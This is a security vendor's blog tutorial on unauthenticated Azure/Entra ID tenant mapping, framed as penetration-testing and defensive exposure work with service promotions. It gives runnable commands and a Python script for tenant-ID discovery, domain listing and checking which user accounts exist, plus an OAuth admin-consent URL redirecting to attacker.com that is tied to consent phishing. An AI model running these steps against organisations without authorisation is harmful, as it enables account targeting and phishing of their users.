Azure tenant mapping is the process of enumerating and identifying the structure, users, domains, services, and configurations associated with a Microsoft Azure Active Directory (Azure AD) tenant, now rebranded as Microsoft Entra ID. For penetration testers, red teamers, and security researchers, this is a foundational reconnaissance step before any cloud-based engagement.
The reason it matters is simple: organizations expose far more information about their Azure environments than they realize. Without ever authenticating to a target's environment, an attacker or a security professional can identify user accounts, federated domains, third-party integrations, and even clues about the internal directory structure. If your organization is running Microsoft 365, Azure services, or any federated identity system, you almost certainly have an Azure tenant that can be partially mapped from the outside.
If your organization wants to understand what an attacker sees before making their move, Redfox Cybersecurity offers professional penetration testing services to help you identify and close these gaps.
Before jumping into commands, it is important to understand the building blocks of an Azure tenant. Every organization using Microsoft cloud services has a single Azure AD tenant assigned a globally unique tenant ID (a GUID). This tenant holds users, groups, applications, service principals, and domain registrations.
A tenant is tied to one or more verified domains. The primary domain typically follows the format organizationname.onmicrosoft.com, but organizations also register custom domains like company.com and verify them inside Azure AD.
The key assets you can discover through OSINT include:
The first step in Azure tenant mapping is identifying the tenant ID tied to a target domain. Microsoft exposes this through public-facing endpoints.
https://login.microsoftonline.com/<domain>/.well-known/openid-configuration
[cta]
Replace <domain> with the target's domain name. The JSON response contains the token_endpoint field, which includes the tenant ID directly in the URL path.
You can automate this with curl:
curl -s "https://login.microsoftonline.com/targetcompany.com/.well-known/openid-configuration" | python3 -m json.tool | grep token_endpoint
[cta]
The output will look like:
"token_endpoint": "https://login.microsoftonline.com/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx/oauth2/token"
[cta]
That UUID is the tenant ID. Save it. Everything else builds from here.
Microsoft also provides a dedicated tenant resolution endpoint:
curl -s "https://login.microsoftonline.com/<domain>/v2.0/.well-known/openid-configuration" | grep -o '"issuer":"[^"]*"'
[cta]
Another reliable method uses the federation metadata endpoint:
curl -s "https://login.microsoftonline.com/getuserrealm.srf?login=test@targetcompany.com&json=1"
[cta]
This returns a JSON blob that tells you the realm type (Managed or Federated), the cloud instance, the brand name, and if the tenant uses federation, it will include the AuthURL pointing to the external identity provider. This single request reveals whether the organization is using ADFS, Okta, Ping, or another federated login system.
Knowing the tenant ID is useful, but enumerating the verified domains attached to a tenant gives you a map of all corporate domains the organization has registered inside Azure AD.
AADInternals is one of the most powerful open-source toolkits for Azure AD reconnaissance. Install it as follows:
Install-Module AADInternals -Scope CurrentUser
Import-Module AADInternals
[cta]
To retrieve all domains associated with a tenant:
Get-AADIntTenantDomains -Domain "targetcompany.com"
[cta]
This returns a list of every domain the organization has verified in Azure AD, including subdomains and alternate corporate domains. This is particularly valuable because organizations often verify domains for subsidiaries, acquired companies, or legacy environments.
A complementary method involves querying the Microsoft Autodiscover service:
curl -s "https://autodiscover-s.outlook.com/autodiscover/autodiscover.svc/WSSecurity" -H "Content-Type: application/soap+xml" --data-binary @autodiscover.xml
[cta]
Or more directly, use the tenant domains API:
curl -s "https://login.microsoftonline.com/<tenantID>/v2.0/.well-known/openid-configuration"
[cta]
Cross-referencing these results with certificate transparency logs via tools like crt.sh adds breadth to your domain enumeration.
This is where Azure tenant mapping becomes particularly sensitive. Microsoft's login infrastructure, in certain configurations, responds differently to valid versus invalid usernames. This behavior allows unauthenticated enumeration of corporate email addresses.
If you are conducting a red team engagement or external penetration test, understanding what accounts are exposed is critical. Redfox Cybersecurity performs this type of reconnaissance as part of its cloud penetration testing engagements to help clients understand real-world attacker visibility.
git clone https://github.com/LMGsec/o365creeper
cd o365creeper
pip install requests
python o365creeper.py -f userlist.txt -o valid_users.txt
[cta]
This tool sends authentication requests to the Microsoft online login endpoint and identifies which email addresses belong to valid accounts based on response codes and error messages.
Invoke-AADIntUserEnumerationAsOutsider -UserName "john.doe@targetcompany.com"
The response indicates whether the account exists, what authentication type is configured, and whether the account uses managed or federated authentication. Running this across a curated wordlist of common names combined with the target domain can uncover a significant number of valid accounts.
You can also script this directly:
import requests
def check_user(email):
url = "https://login.microsoftonline.com/common/GetCredentialType"
body = {"Username": email}
headers = {"Content-Type": "application/json"}
r = requests.post(url, json=body, headers=headers)
data = r.json()
if data.get("IfExistsResult") == 0:
print(f"[VALID] {email}")
elif data.get("IfExistsResult") == 1:
print(f"[INVALID] {email}")
else:
print(f"[UNKNOWN] {email}")
emails = ["admin@targetcompany.com", "hr@targetcompany.com", "ceo@targetcompany.com"]
for e in emails:
check_user(e)
[cta]
The IfExistsResult field of 0 confirms the account exists. This approach is rate-limited by Microsoft but is a well-documented technique in the OSINT and red team community.
Once you know which domains are verified and which accounts exist, the next step is identifying how authentication works for the tenant. Federated tenants redirect authentication to external providers, and knowing which one is in use reveals additional attack surfaces.
curl -s "https://login.microsoftonline.com/getuserrealm.srf?login=test@targetcompany.com&json=1" | python3 -m json.tool
[cta]
Look for the FederationBrandName, AuthURL, and NameSpaceType fields in the response. A NameSpaceType of Federated tells you that the organization is using an external identity provider, and the AuthURL often reveals exactly which one.
Get-AADIntLoginInformation -Domain "targetcompany.com"
[cta]
This returns the full authentication configuration including cloud instance, federation settings, and identity platform version.
Beyond the directory itself, attackers and pentesters look for exposed Azure services that indicate what the organization is running in the cloud.
Organizations using Azure leave DNS footprints tied to Azure service names. Tools like MicroBurst and dns-can-i-take-over-this can identify Azure-specific subdomains:
git clone https://github.com/NetSPI/MicroBurst
Import-Module ./MicroBurst.psm1
Invoke-EnumerateAzureSubDomains -Base "targetcompany" -Verbose
[cta]
This checks for subdomains across all Azure service namespaces including:
Each positive result confirms a live Azure resource that may be accessible or misconfigured.
curl -s "https://crt.sh/?q=%25.targetcompany.com&output=json" | python3 -m json.tool | grep name_value | sort -u
[cta]
This queries the crt.sh certificate transparency log database for all SSL certificates ever issued for subdomains of the target domain. Azure-hosted applications frequently appear here.
Publicly accessible applications registered in a tenant's Azure AD can often be discovered through Microsoft's application gallery or through OAuth consent URLs. When an application is configured for multi-tenant access, any Azure AD user can attempt to consent to it, and this process exposes the tenant ID and application details in the URL.
Crafting a consent URL:
https://login.microsoftonline.com/common/adminconsent?client_id=<APP_ID>&redirect_uri=https://attacker.com
[cta]
If you have discovered third-party app IDs used by the organization (often visible in browser traffic, job postings mentioning specific SaaS tools, or GitHub repositories), you can probe for consent configurations and determine whether the tenant allows user-level consent for external applications.
This phase is especially useful during a social engineering or phishing simulation, where OAuth phishing attacks abuse legitimate Microsoft consent flows to gain persistent access to email and files.
Understanding what attackers can enumerate is only half the equation. After conducting this type of OSINT exercise, organizations should take the following steps:
If any of the techniques described above can be applied to your organization's Azure environment, it is time to bring in professional help. Redfox Cybersecurity delivers end-to-end cloud penetration testing and red team services designed to simulate exactly these attack chains in a controlled environment.
Azure tenant mapping through OSINT is not theoretical. It is a repeatable, systematic process that attackers use every day against organizations of every size. The techniques covered in this guide, from tenant ID discovery and domain enumeration to user validation and app registration probing, represent the reconnaissance stage of real-world cloud attacks.
The commands and tools shared here are openly available and used by both ethical security professionals and malicious actors. The difference is intent and authorization. For defenders, running this reconnaissance against your own tenant, or having a qualified team do it, is one of the most practical ways to understand your external cloud exposure.
Redfox Cybersecurity specializes in cloud security assessments, Azure penetration testing, and red team engagements tailored to organizations running Microsoft infrastructure. If you want to know exactly what an attacker sees when they look at your Azure tenant, reach out to the team at redfoxsec.com/services and schedule a professional assessment today.
Redfox Cyber Security Inc.
8 The Green, Ste. A, Dover,
Delaware 19901,
United States.
.avif)
